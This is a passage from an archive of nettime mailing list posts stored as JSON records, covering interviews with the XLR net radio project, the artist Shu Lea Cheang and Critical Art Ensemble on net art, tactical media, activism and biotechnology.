let something happen in this medium, where many can follow it and\nalso participate without mediation of us.\nIn chat its always this quite chaotic jumping around between different\nlines of talks, so it would have been interesting to see how it\ndevelops, if there is a certain focus, if its possible to focus...\nIf you want to communicate something via chat, monologues are not\npossible, or only, if all others wait, what is not very probable, so\ndiscussion-strategy is very different from spoken language.\n\nQ: what were you basic reasons to start this project?\n\nAssuming your question is about the whole xlr project:\nWe all like babel ;) -plus this was about investigating the possibilities\nof 'contemporary' media for artists. Some questions we had were:\n- what have we got with the internet that we did not have before / without\n  the internet?\n- how to 'misuse' the platform / the internet?\n- how to create an own structure within the superstructure?\n- how to really focus on contents not getting lost on technical issues?\n- can the net be an artistic medium, or is it just good for documentation\n  of artistic work ?\n- what benefits do I get out of using the net as an artist ?\n (not that we got real answers to these questions, but we have more ideas\n about these topics now)\n\nQ: Are you working more from an art or a tactical media background?\n\n(you could write a whole book on that, basically this is about a\ndefinition of art) We wont necessarily divide it.\n\nboth. neither. whats the difference ?\n\n(quoted from Neil Stephenson: 'Snow Crash')\n\n----------\n\nministry of experiment at Radio Student in Ljubljana:\nhttp://www.radiostudent.si/mzx/index.htm\n\nMonika Glahn and Ulf Freyhoff are also working on web-broadcasts and\ncreating platforms at interflugs, which is an independent organization\nat the academy of fine arts in berlin. The student's union of the academy\nof fine arts was very supportive and their room and computer was occupied\na lot for radioactivities...:\n\nhttp://www.iflugs.hdk-berlin.de\nhttp://www.iflugs.hdk-berlin.de/~xlr\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Wed, 11 Feb 1998 14:24:59 +0100 (CET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199802120908.KAA15571 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9802/msg00062.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> net, 'radio' and physical space: XLR"
            },
            {
                "id": "00140",
                "content": "\nE-mail Exchange with Shu Lea Cheang\nAnd Geert Lovink\n\nShu Lea Cheang is one of the few artists I know able to operate in both the\nnew media arts and the contemporary arts  world of museums and galleries.\nBorn in Taiwan, Shu Lea left Taipeh after the democratic changes and worked\nin New York as a member of the Paper Tiger Television collective to become a\ntruly global artist in the nineties. It is hard to keep track of Shu Lea and\nher projects. I got to know her when we both worked in the media lab of the\nSociety for Old and New Media in Amsterdam. At the time, around 1998, she\nwas producing the Brandon project, with programmers and designers of the\nSociety, a website and installation which deals with gender and identity on\nthe Net. She then moved to Tokyo to produce her first feature film in the\nsci-fi porn genre. The following e-mail exchange took place over a few\nmonths in the second half of 2000.\n\nGL: Where are you? It is hard to keep track of you, digital drifter. Which\ntrouble in, at this moment? You are such an expert in freaking out stessed,\nburocratic art institutions. Excellent. I know you are not looking for\ntrouble perse. Still, your work provokes people, at some stage, though not\nin a direct, obvious manner. You are well known for strategy that in Japan.\n\nSC: Where I am, in terms of my X-Y positioning or Location URLs? My\ndissimulating body parts as compressed bytes, transmissible and available.\nWell, this year, I  barely scratched the skin in Germany, a bit of exchange\nwith the German Federal Ministry of Internal Affaires over interfacing\nairport Hi-Scan machine and internet. I was warned that sending scanned\nimages from suitcases onto the net, 'could possibly give information about\nhow to circumvent measures taken for the protection of attacks on the\nsecurity of air traffic.'\nI do play by rules. My intention written in proposals are stated out front\nwhen dealings with Institutions. I stepped right into the political\nconflicts, those of Tokyo Central Government and Okinawa over US military ba\nse issues, during my residency in Okinawa with the project, 'Elephant Cage\nButterfly Locker' (1996). The exhibition at Tokyo's Atopic Site led Japan's\ncensorship debate after the recordings of my meetings with Tokyo Government\nrepresentatives were published. Back in 1995, I got into trouble with\nBowling Alley at Walker Art Center. The museum commanded the site to bear a\nwarning, 'This Site contains mature subject matter. Discretion is advised'.\nThat was on the eve of US Congress' delivery of Communication Decency Act,\nthe museum had yet to configure the cross-section of public and private\nspace. When Brandon was presented at the Guggenheim Museum, all cautious\nprocedures were taken to ensure that subversiveness could work within the\nsystem.\n\nGL: You have specialized yourself in on a highly specialized meta level of\n(new) media work. It is the realm of the pure conceptual. In doing so, you\ndepend almost entirely on other people's design, programming work, editing,\npre- and post-production. Almost every aspect of your huge productions such\nas the interactive online installation Brandon and the sci-fi porn film IkU,\nare realized by third parties. How would you describe your work? Art\ndirector, media manager, concept artist?\n\nSC: Why do you insist on the division of expertise as 'realized by third\nparties'? Every aspect of production works toward realization of concepts. I\ncommunicate with my parties on a conceptual level. I take the credit as\nconcept/direction in executing large scale productions. I decide with which\nof the writers, designers, programmers, cinematographers who I would\ncollaborate with. They are each self-claimed art practitioner in their own\nright. I seek collaboration as I conceptualize the projects. I have carried\nout my art installation as a filmmaking practice or directing a film as a\nlarge scale installation. I think there remains this romantic notion of the\nartist as loner and a sole operator. I do not practice art as self\nexpression. The urgent command from the 'meta' level has designated me to be\nInstitutionalized.\n\nGL: How do you feel about the division of labour you are in?\n\nSC: Concept_proposal_design sketches_routing public interface. This year,\nthe project CARRY ON for IFU (International Women University), had me\nworking with IMK:MARS/GMD as part of their CAT (Communication, Art &\nTechnology network) initiative. (http://imk.gmd.de/mars). In this\ninstitution, a computer scientist made system analysis of the concept and\nthree system programmers collaborated on database network platform and Java\napplet application. It was a group effort to configure languages and\nengineer the systems hard and soft.\n\nGL: Let's speak about discontent in media activism - and what to do about\nits visual poverty. You have been a member of Paper Tiger Television, back\nin the late eighties. Like me, you have ambivalent feelings, about the\nimmanent danger of activism, using whatever medium or platform, falling back\ninto the one-dimensional styles of the video diary, documentary journalism\nand plain propaganda. Which strategies would you suggest to escape these\nobvious traps? The concept of 'tactical media' has been developed, intending\nto bring together media activists and new media artists. Are cross\nfertilizations sufficient? Is it an option to abandon the 'activism' label\naltogether? Good news is the renaissance. The WTO protest in Seattle\n(December 1999) has brought up a whole new (rave) generation. Then there is\nthe concept of hacktivism. The dark period of neo-Luddism and pessimism\nseems to be over. What esthetics, in your view, could further energize,\nbroaden, and critique the current global movements?\n\nSC: Back in the 80's, we were out on the streets. There was this sense of\nglobal connectedness, camcoder media and satellite feed. The sense of\nurgency for information flow-- shoot, deliver and act. It took a while for\nvideo collectives to make transition onto the Net. but then, the nature of\nhyperlinks on the Net may also contribute to infodata overload and scattered\nsocial bodies. Shared information does not amount to counter-activity. I did\nbuy in the idea of electronic disturbance. The Net sit in as media event,\nbut is it helping the movement? Or is it intellectual exercise for computer\ncrash course? The global net-connectedness can be an illusion. Locality\nreclaims matterness when political agenda is specified.\n\nEsthetics functions on conceptual level. I am encouraged by corporate level\nNetivity. No One is Illegal's campaign on\nhttp://www.deportation-alliance.com is good example. Counter information is\na slap in the Corporate face one click away. Harwood's Uncomfortable\nProximity for Tate Modern goes further to demand side(site) by side(site)\nfusion. And that is quite a few steps forward from demanding a media slot.\n\nGL: You moved away from regular media activism for a certain reason. What is\nso hot, so interesting and so strategically important about the conceptual\nand formalistic level? Is it a meta level? Should we consider this more\npowerful compared to the ordinary levels of content production, design or\nprogramming? Can we perhaps compare it with the role of the film director or\nconductor?\n\nSC: You seem to be caught in a twisted complex here. Are we back at the\n'level' of white/blue collar class struggle here? I use the word 'level' for\nmy replicants. Level 7 is my recent updated version of humanoid IKU Coders\nor HiC agents. Level 4 is the retired outdated copies. The machine drives\nme. A deliberate take over of control key in my functionality. The machine\noperates. The corporate schemes. The sole/soul artist is out on the bound.\nActing as 'floating agent digitale' on my own terms, all directorial and\nconducting power is given.\n\nGL: I am saying this because there is a general discontent, for decades,\nabout the work done by activists, like going to demonstrations, making\npamphlets, targeting governments and corporations for their policies in the\nform of direct action. I see a certain fascination with the more symbolic\nmeta levels where power is located these days. Do you think activists\nprotest at the wrong spot when they go on the streets, blocking roads and\noffices?\n\nSC: I was just off track into daytime porn.... stepped into a major web\nattack-- 'Webmasters, join us and increase your traffic drastically!' The\nnet windows are launched one after another faster than I can close them.\neXXXtreme! are screaming at me !! The Net era traffic jam with roadside\nvendors hawking. Now, I have not seen activist organizations united this\nway. Have you? Hyperlinks decentralize. Virtual sit in holds still the\ninformation flow. The power to be is clearly s(c)ited. One chooses to\nconfront or comply. The road block is metaphysical. The streets are up for\ngrab. You can claim the streets for spirit refill or make the move to say\n'chess' in the final play.\n\nGL: Does it make sense for you to distinguish between a polymorphous 'art\nporn' practice and the mainstream porn industry? Which distinction would\nmake sense for you? Is it a matter of high and low culture? I suppose you\nwould agree that the mainstream porn industry is reproducing the worldwide\nmale dominance and patriarchy. Obviously certain parts of the emancipated\nmiddle classes, the upwardly mobile gays, cosmopolitan lesbians, bi-sexual\noffice workers etc. do need their own porn. In that sense 'art porn' is a\nniche market. Still, I suppose you are not just working for a market. You\nwant more. What drives you to make these films, apart from the fact that it\nis fun.\n\nSC: I have wanted to get away from institutions and funding cycles for a\nbit. I stepped into porn production as a director for hire with an indie\nJapanese producer. With my producer, we have all intentions to make money\nwith this film. But it has proved to be quite difficult as the film doesn't\nfit into any specified market.\nThe self claimed Japanese scifi porn I.K.U. (2000, Uplink Co.) operates on\nhigh concept, the meta level in your term. In every sense, it meant to\nsubvert 'the worldwide male dominance and patriarchy', the hard on dick that\nupholds. Here I want to distinguish my practice from that of art porn which\nI consider to be a soft industry domain. I.K.U. <http://www.I-K-U.com>\nconfirms cyberporn as Corporate operation of level 7 hard and soft fusion.\nUltimately, I.K.U. severs cumbersome tentacles of the wired 90s' cyborg\nentity and initiates the body as a gigabyte hard drive, self-driven by a\nprogrammed corporate scheme. It updates VNS Matrix's ' The clitoris is a\ndirect line to the matrix.' by claiming 'The Pussy is the matrix'.\n\nGL: Do you mean that in the biotech cyberpunkish sense, as Kronenberg's\nbiopods? Is it the aim, still, to merge bodily functions with technology?\nIsn't that fantasy already implemented and played out? To what extend do you\nsee the sexualized techno-body as a role model, or let's say, reference of\nan unlikely future?\n\nSC: I am looking at a wireless digital mobile present with no portal to\nchannel us; built in memory flash and gigabyte hard drive as delivered at\nbirth; genetic mutation for ALL NEW GEN. The merge is complete. We ride on\nthe fantasy. Living comfortably with the monster within, I assign my body as\na self-programmed, self generative sexual unit. This body functions with an\noperating system that requires version update and memory upgrade. The\nunlikely future has come and gone. The retro future could be the next\ncomeback.\n\nGL: Over the last years you have been one of few artists who has managed to\noperate in both the 'contemporary arts' field and in the much smaller scene\nof new media arts. You have seen both worlds. How do these two rather\ndifferent fields, which both use the 'arts' label, relate? Will they merge\nat some stage? Contemporary arts has finally discovered video. How long will\nit take once they will inhabit the computer networks? And will electronic\narts ever leave its own self-referential ghetto?\n\nSC: Hey, I am still working...and (projects) under development. I did cross\nover a few fields. I am not really in that particular 'contemporary arts'\nscene. But yes, I managed to work the medium. The new media arts field is in\nstep with software development. Technically there are needs for\ncollaboration between artists and programmers, which can be best\nfacilitated by the Institutions. Like any large scale public installations,\nthe new media art can be nurtured as commissioned art work. The Corporate\nfunding is at the core of this underwriting. Here I am not neglecting the\nweb as self-expression, self-distribution medium for a genre of web artists.\nHowever, to consider the Net as happening public space, not simply a\nbroadcast medium, how do we keep up with web appointments? I want to feel\ncollective breathing (can be extended to collective orgasm) on my computer\nscreen.\nAs for the self-referential ghetto, we have to grant the privileged club\nmembers the fun of mutual masturbation. They don't have to leave. They own\nthe Net. Meanwhile, the rest of the world strides to catch up. Every art\nagency must comply to digital update. Only yesterday we were handing in our\nweb work for 'permanent collection' at the museums as long as they can\nprovide the archiving servers. Today, we float. (in market and travel\nsense). The dealers will eventually come around and work the scene.\n\npostscript\n\nAn update on the trouble i am in since your first question- currently I am\nworking on a 35mm movie trailer for my not yet produced scifi porn 'FLUID'.\nThe trailer is commissioned by Palais de Tokyo/Site of Contemporary Creation\nin Paris, a new museum that is scheduled to launch in the Fall of 2001. This\nis my first encounter with French Cultural Agency's public funding. I would\nneed to manipulate the ejaculation a bit to survive this one.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0012/msg00140.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Shu Lea Cheang",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                        "content": "\nShu Lea asked me to send a correction to the intro of the interview we did.\nIKU is her second, not her first feature film she directed. She did not\nproduce the film. Here two related URLs:\n\nhttp://brandon.guggenheim.org/shuleaWORKS\nhttp://www.I-K-U.com\n\nHappy New Year,\n\nGeert\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00146",
                        "date": "Sun, 31 Dec 2000 15:42:51 +1100",
                        "to": "\"Nettime\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200012312133.QAA28412 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0012/msg00146.html",
                        "content-type": "text/plai",
                        "author_name": "geert lovink",
                        "subject": "Re: <nettime> Interview with Shu Lea Cheang"
                    }
                ],
                "message-id": "200012292110.QAA11072 {AT} bbs.thing.net",
                "date": "Fri, 29 Dec 2000 08:41:56 +1100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Ryan Griffis <grifray {AT} yahoo.com>",
                "id": "00098",
                "content": "\n\n\nTandom Surfing the Third Wave, Part One:\nCritical Art Ensemble and Tactical Media Production\n\nThis interview, with Critical Art Ensemble, is the first part of a series\nof investigations into collaborative/group artistic practice taking place\nin, and critical of, the e-conomy.\n\nCritical Art Ensemble (CAE), a collective of 5 artists working since 1987,\nproduces cultural products ranging from books to Web projects to\nperformances that investigate moments in art, technology, activism, and\ncritical theory.\n\n\nRyan Griffis: How did CAE come to be a working group?\n\nCritical Art Ensemble: It's too bad CAE has no heroic formation story\nabout a grand international like the one the Situationists are often\nmythologized as having. CAE's story is much more mundane. We were students\nlooking to develop a network that would have a cultural impact--some way\nof organizing that would give us enough financial, hardware, and labor\nresources that we could begin to construct a platform for a public voice.\nCollective activity seemed (and still seems) to be the best option.\n\nRG: Many people, including artists, don't understand how most individual\nartists finance their work, much less large-scale public work projects and\nephemeral/\"conceptual\" works. With the work that your group (and others)\nis involved in, being \"politically\" involved and controversial (in a way\nthat doesn't always lead to \"ticket sales\") as well as potentially\nexpensive (time & resource wise), could you talk some about the economic\nstrategies of CAE as a collaborative venture?\n\nCAE: We don't understand how to finance work either. No granting agency\nhas ever given CAE money. We raise funds in three ways. First, we all have\nstraight jobs. Second, we do a lot of visiting artist and speaking gigs in\nconjunction with writing, so we get royalties, writer's fees, and speaking\nfees. This money goes exclusively toward projects. Finally, we try to\nthrow as many expenses as possible at any institution that wants to\nsponsor a project. We just hobble along from project to project, usually\nworking with an extremely limited budget. A lot of our imaginative power\ngoes into figuring out how to make things for minimal cost. However, it's\nbetter than it was when we first started. At least we don't have to\nliberate materials anymore.\n\nRG: CAE has written quite a bit of theory for the practice of\ncollaborative art activity, and from a perspective of involvement. At the\ncurrent time, where does the group see itself, and other art/activist\ngroups, in relation to other practices, for example the (very youth\noriented) electronically aided organizing efforts of recent demonstrations\nin Philly, LA, and DC?\n\nCAE: It all depends on what the group is geared toward doing. Over the\npast five years, CAE has primarily focused on biotechnology and the\ncolonization bonanza that it is launching. We are working in a very\nstraightforward manner, and trying to do events that demonstrate through\nparticipatory theater just what is at stake. Other groups like the\nInstitute for Applied Autonomy (www.appliedautonomy.com) are focused on\nground developments, with projects like Graffiti Writer (a\nremote-controlled, programmable graffiti-writing robot) or their GPS\nproject, designed to offer protesters escape routes so that they pass by\nthe minimum amount of surveillance hardware when on the run. There is so\nmuch to be done. Happily there is no single metanarrative that describes\nintercollective associations, or that maps the intersection between groups\nworking on direct material levels and those working in cultural\nrepresentation.\n\nRG: I've read statements from a member of RTMark expressing uncertainty\nabout the labeling of their activity as art, or rather how the label can\nbe a double-edged sword. I have also heard Guillermo Gomez-Pena say (of\nhis and Sifuentes' work) that they can get away with much more than\nstraight activists because they're artists. How does CAE deal with the\nreception issue, and are there times when the \"Art\" label is useful, and\nothers when it's not?\n\nCAE: If CAE has to pick a label, we prefer \"tactical media practitioners.\"\nHowever, in keeping with this tendency, we use labels in a tactical\nmanner. If the situation is easier to negotiate using the label \"artist,\"\nthen we will use it; if it's better to use \"activist\" or \"theorist\" or\n\"cultural worker,\" then we will use those labels. Regardless of the label,\nour activities stay the same. Labels are useful only in so far as they set\nexpectations among those with whom we wish to have a dialogue. The label\nthat best taps the knowledge resources of the audience is the one we try\nto choose.\n    A lot of this problem has to do with the social constructions of the\nroles of artist and activist. For the most part, these roles are placed\nwithin a specialized division of labor, where one role, segment, or\nterritory is clearly separated from the other. We view ourselves as\nhybrids in terms of role. To CAE, the categories of artist and activist\nare not fixed, but liquid, and can be mixed into a variety of becomings.\nTo construct these categories as static is a great drawback because it\nprevents those who use them from being able to transform themselves to\nmeet particularized needs.\n\nRG: In looking at many art strategies that have taken an \"oppositional\"\nstance towards the various forms of hegemonic oppression, be it blatantly\npolitical or theoretical, it usually seems to become assimilated into the\nlarger art world. Overtly political artists become just that (Haacke) and\nmore theoretical work becomes academic style (Kosuth, Art-Language). But\nsuch criticism seems to suggest that to become mainstream is death, so\nopposition is doomed to always stay marginal. But it would also seem that\nour society (and probably most) are resistant to drastic change, without\ncatastrophe, and such assimilation is a necessity, one that must be\ncarefully watched, but a necessity nonetheless. What are/have been CAE's\nthoughts on such issues? And how does this play out specifically through\nCAE's interventions into a discourse like biotech.?\n\nCAE: Whether to take a position at the center or the margins really\ndepends on the goals that have been set by the individual or group. The\nreasons for doing projects on the margins are obvious. Work in such areas\nis great for education and organizing. From a collective history\nviewpoint--many individuals and groups working on a specific issue can\nbring about some positive changes. Working in the center is trickier,\nbecause as you stated it can always be used by the center for its own\nends. The same can be said when the margins are organized well enough to\nhave a public voice. Take the example of ACT-UP. This group collectively\nchanged the protocols at the NIH in regard to HIV. At the same time, it\nwas used as an example of democratic action that can impact bureaucracy,\nan example of people having free speech, etc. In many ways the movement\nwas used to reinforce the public perception that democracy exists in\ncapitalist economy. Someone like Hans Haacke is used in this same manner\non a cultural level. However, the ability of the sight machine to\nreconfigure resistant actions (particularly once they address the center)\nis not a reason to criticize. If a group is creating resistant initiatives\nas a public practice (as opposed to an underground or otherwise hidden\npractice) then the cycle of resistance and assimilation is just a given.\nThe important thing to watch is how well a group negotiates this give and\ntake, and not whether or not it does it perfectly.\n\nIn the realm of biotech, CAE is just trying to make a specialized\ndiscourse a public (nonspecialist) one. CAE is worried that nonspecialists\nin general may not understand the significance of the biological\nrevolution. So many elements are hidden, and there is so much\nmisinformation (generally from market directives and science fiction) that\nit is difficult just to create a reasonable discussion. Specialization is\na scary thing under these conditions. Unlike with the communications\nrevolution, few people (directly) use the applications and information\nfrom the biorevolution, although almost all are indirectly touched by it.\nSince the public has almost no direct experience with biotech, it seems\nabstract and too difficult for a nonspecialist to understand. CAE's\nintervention in this situation is to give people direct experience and\nreliable information so that individuals can come to understand that\nbiotech is within their power to think about and actively affect.\n\nRG: Speaking of the G.E. and biotech developments that CAE has\ninvestigated, there seems to be a lot of overlap with concerns coming out\nof communication technologies, that other groups, like RTMark and The\nRedundant Tech. Initiative, are taking on. Many aspects of CAE's\nactivities appear to address this as well in different ways. Could you\naddress some of these overlapping issues occurring between biological and\ncommunications technologies?\n\nCAE: There are two primary narratives in regard to this issue. The first\nis the digital and the second is control. Recent developments in\ninformation and communication technologies (ICT) and in biotechnology are\non a parallel course. Contemporary ICT is slightly ahead of biotech, but\nthey are both products of the digital era. When speaking of the \"digital,\"\nCAE means this in a grander sense than just as a category of technology.\nWe are speaking of a worldview, of a new cosmology. When we use the term\n\"digital,\" we are referring to the idea of replication. Western cosmology\nhas traditionally been analogic. That is, a process moves from chaos to\norder and back to chaos, and products exist in a binary pattern--the\noriginal and the counterfeit. For centuries the principle that order came\nfrom chaos and chaos from order was unchallenged. This situation really\nstarted to change in the early 20th century with Fordist\nmass-manufacturing. Ford intuitively understood the digital in terms of\nmanufacture, in that he knew the distinction between the original and the\ncounterfeit was actually an impediment to profit, and that profitability\nwas increased by employing principles of replication and equivalence. This\nnew model was directly understood and addressed in the development of\ndigital technology--the technology of replication and equivalence. The\nmodel is based on the principle that order comes from order. Such an idea\nhad tremendous impact on biology, because without it, the reproductive\nprocess could not be understood, because biological reproductive process\nis about replication. Once this idea was accepted, it was possible to\nunderstand DNA in a whole new way. Manufacturing, ICT, and biotechnology\n(the primary markers of the 20th century) are linked in that they share\nthis new principle of order from order.\n\nThe second narrative, control, also links ICT and biotech. Both of these\nrevolutions are about greater determinacy in complex systems. ICT\nprimarily functions as a means to improve the gathering, storing,\nexchange, and distribution of information in the virtual world. Biotech is\nabout the same processes in the realm of the organic. Through improved\ncontrol of complex systems, capital can achieve its own ends in terms of\nconstructing bigger and more efficient profit machines and maintaining the\nsocial hierarchies that best lubricate this machine. Take the example of\nwork. ICT has contributed to its intensification to such an extent that\nthe worker's body (particularly the technocrat's) is failing to function\nin the high velocity marketplaces of capital ( since the body is a\nlow-velocity constellation). Biotech is partially an initiative to prop\nthe body up, to redesign it, so it can keep up with the demands of a\nsociety of speed.\n\nRG: With respect to GE/GM technology and human medicine, what are the\ngroup's interests in visualizing aspects of this technology that have a\nsignificant impact on access to health care and other privileges relating\nto the understanding of \"healthy\" vs. \"unhealthy\"? For example, denied\naccess to managed health care, or jobs, based on \"genetic\npredispositions\".\n\nCAE: The group hasn't really addressed this issue specifically, although\nit does come up in relation to our investigations into the reconfiguration\nof eugenics in pancapitalist economy. The question for CAE is perhaps\nbroader, and concerns categories such as fit/unfit or normal/abnormal.\nThese categories clearly stretch beyond the specialization of healthcare\nand into generalized social and political organization. As tactical media\nartists, the group has completed four major projects examining various\naspects of biotech revolution in a theatrical form that invites public\nparticipation (participatory theater). These works raise questions\nconcerning (1) eugenic traces in assisted reproductive technology (\"Flesh\nMachine\" - both the book ( published by Autonomedia) and the performance\nproject); (2) extreme medical intervention in reproduction and the attack\non sexuality (\"Society for Reproductive Anachronisms\"); (3) the\nacquisition of \"fit\" flesh materials (\"Intelligent Sperm On-line\"); and\n(4) the utopian promissory rhetoric spinning off of the Human Genome\nProject (\"Cult of the New Eve\"). The most recent project is one that CAE\nbegan to investigate in the \"Cult of the New Eve,\" and that is the\npolitics of transgenics. What the collective is exploring in particular is\nthe relationship between transgenic production and biological\nenvironmental resource management.\n\nRG: Could you talk a little about this project and specifically explain\nthe significance of the concepts of transgenic production and biological\nenvironmental resource management?\n\nCAE: Transgenic engineering is the formation of new combinations of genes\nby isolating one or more genes from one or more organisms and introducing\nthem into another organism. It was once believed that species boundaries\nwere for the most part impenetrable. Now, all bets are off. Any species or\ncombination of species can be combined with any other (although the limits\nof these recombinations are still unknown). Once the genomes of all the\nspecies are mapped and sequenced, and this information becomes readable,\nhighly functional organisms can be created to suit the needs of the\ninstitutions or states that create them (hence the huge investments from\nboth public and private sectors in various genome projects).  Biological\nenvironmental resource management is mainly concerned with introducing\nspecies particular to one ecosystem into another ecosystem, in an\nintentional attempt to preserve or to reclaim a desired version of\necological equilibrium. The problems with this method are clear from the\nbeginning. How is equilibrium defined? What is a desirable ecosystem? The\nideological repercussions are overwhelming. Be that as it may, the method\nhas been used for over one hundred years. There have been successes and\ndisasters, although the disasters tend to get more press--kudzu, cane\ntoads, etc. With transgenics, the possibilities for new species\nintroduction grow exponentially. Resource managers are no longer limited\nto the catalogue of life as it existed in the past, but can create a\nnearly infinite amount of recombinations (eventually with very specialized\ncharacteristics) from this catalogue. New organisms are already being made\non a daily basis using transgenic processes. The question of what can be\nmade and what happens when these creatures are released is of central\nimportance to all specializations concerned with the environment. Indeed,\nthe commodities market is already testing the possibilities by releasing\ntransgenic bacteria, farm animals, and plants into the ecosystem. This\nform of testing and of biological environmental resource management is a\nrelatively gray area. The possibilities are both utopic and dystopic, but\npublic mistrust of transgenics makes public discourse on the subject all\nthe more difficult. To complicate this situation further, capital is in\nthe midst of an ideologically schizophrenic moment. On the one hand, the\nideology of transgenics (the mixing of categories) has traditionally been\nused as a means to mark the other and justify colonization. Colonial\nsubjects have been considered dangerous because of the high value placed\non transformation and mixing of natural constellations, which to the\nwestern colonial mind shows them to be out of harmony with the law of\nnature (according to which species can only combine with like species). To\nbe sure, such activity in western mythology results in making of monsters\nin the most extreme sense--vampires, werewolves, and witches. Not to\nmention that the territory of the other, like hell itself, has\nhistorically been sprinkled with projected fantasies of horrific\nrecombinant creatures (harpies, sea monsters, cyclops, etc.) that are\nabhorrent to nature. Yet now that this law of nature (like with like;\nspecies with species) has been reduced to a simple boundary to be crossed\nfor profit, capital has to produce a kind of double think that maintains\ncolonial signifiers but allows the recombinant to be accepted in everyday\nlife. Now that this new organic realm is open for invasion, centuries of\nideological signage have to be re-engineered. The sharply divided opinions\nabout transgenic food are indicative of the problem. On one hand, the\ntraditional transgenics fears sweep through the general public, and on the\nother hand, those concerned with maximizing profit in food resources are\nbuilding data that show that transgenic food is neither a health hazard\nnor an ecological threat. This battle between the dystopian/utopian form\nof representing these new initiatives is the perfect dramatic friction for\na theater of transgenics, and biological environmental resource management\nis one key discipline where material conditions will play themselves out\nin the extreme.\n\nRG: One thing that I've noticed frequently in CAE's writings is the\nexamination of our (US mainstream) culture's focus on the spectacular and\nunusual when it comes to death and memorialization. The group seems to\nlike using Greg Ulmer's concept of a memorial for automobile deaths as an\nopposing point of focus. This seems to me to suggest an attempt to do\nsomething not often done in \"activist\" art practices (Adbusters, etc.),\nwhich is mainly addressing latent desire(s)  behind the mundane acts of\nliving, along with being critical of the actions themselves.\n\nCAE: Nonrational economy, or the under economy, has always been of primary\nconcern for CAE, considering that capitalism has an immense stake in\nlimiting the scope of desire to work and commodity relations. The task of\ntrying to productively agitate the nonrational is by far the most\ndifficult because it is where organizational and analytic abilities are of\nmodest use in insuring successful actions. The standard tendency of\ncultural and political activist practices to react and counter a given\nactivity that reinforces or expands dominant social hierarchies with a\nstrategic or a tactical initiative (logos opposed by antilogos) will not\nwork in the realm of the nonrational. All we can ask in such a case is\nwhat can we do to create conduits into territories of visibility where\nrepressed/invisible desires can find public expression. When done\nsuccessfully, such expressions can introduce a productive level of chaos\ninto society (usually at a micro level), which in turn offers organized\n(rational) movements or activities a more liquid space to act effectively.\nIn other words, the political chess match between oppositional forces does\nnot have to follow standard patterns of interaction. While this narrative\nsounds good in theory, the problem is that there is no way to know who\nwill benefit or what the final result of agitating the nonrational may be.\nIt's a real roll of the dice that can have as disastrous (authoritarian)\nconsequences as it can have good (liberationist). However, given the\ncurrent situation, resistant forces have little to lose by working in this\narena.\n\nRG: Does CAE see the \"Us/them\" dichotomy common to many oppostional camps\nproblematic? If so, what theories/practices do you use to not fall into\nthat trap, while remaining actively critical?\n\nCAE: That really depends on the situation. For example, CAE is in favor of\nwhat we term tactical essentialism. When this is employed, people can\nsuccessfully use universal binaries to establish the social solidarity\nthat can in turn produce a resistant movement. It has been used well in\nthe past by the Women's Liberation Movement or the Black Power Movement.\nHowever, this choice is tactical, meaning that it must be surrendered once\nthe movement has been established. If resistant vectors are to continue to\nincrease in mass and velocity, they must then establish more complex\ncritiques and actions that recognize the inconsistencies, aporia, and gray\nareas involved in separation.\n\nCAE's main principle for not falling into the binary trap is our use of\ntacticality. Obviously, this a very long discussion that goes beyond the\nlimits of this interview, but here is the short version. The five\nprinciples of tactical media are: specificity (deriving content and\nchoosing media based on the specific needs of a given audience within\ntheir everyday life context); nomadicality (a willingness to address any\nsituation and to move to any site); amateurism (a willingness to try\nanything, or negatively put, to resist specialization);\ndeterritorialization (an occupation of space that is predicated upon its\nsurrender, or anti-monumentalism); and counterinduction (a recognition\nthat all knowledge systems have limits and internal contradictions, and\nthat all knowledge systems can have explanatory power in the right\ncontext, and that contradiction in general is productive). Our practice is\nabout process only--the process of resistance. We have no final cause in\nmind, no utopias, and no solid social categories. CAE interacts with the\nbecomings of lived time in an effort to expand difference.\n\nRG: I don't want to naturalize technology here, but what does CAE make of\ncertain trends in technology that seem to favor more democratic (less\nspecialized) forms of communication and commerce (shareware, Linux)as\nopposed to the more dominant forms of private property and intellectual\nproperty rights? How is biotech connected to these changes?\n\nCAE: We have to be careful with this issue. The primary conflict, if not\ncrisis, that is happening within capitalist economy concerns how digital\neconomic power should be configured and consolidated. Currently, capital\nis split. On one hand, there are those who believe that profits can be\nmaximized by doing away with older notions of property. From this\nperspective, in an economy based on replication, the only thing that\nmatters in terms of profit generation is the speed of replication. The\nfaster information is replicated and thereby consumed, the higher the\nprofits in analogue economy. For example, if a company gives away free\nmusic on Napster, that company will in turn sell more CDs, more concert\ntickets, more band merchandise, etc. From CAE's perspective this is the\nposition that will eventually become dominant because it is a digital\nstrategy. On the other hand, many still believe that digital products\nshould be governed under the same property principles as analogue products\n(traditional privatization). The struggle within capital is intense on\nthis issue. Whichever way it goes, the public is not going to win. Capital\nwill only tighten its hold on digital economy. The good side is that\nduring these conflicts it's possible for actual anti-capital initiatives\nto accomplish more by camouflaging themselves with this discourse and\nreaping benefit from the confusion emerging from the crisis. It's so nice\nwhen the 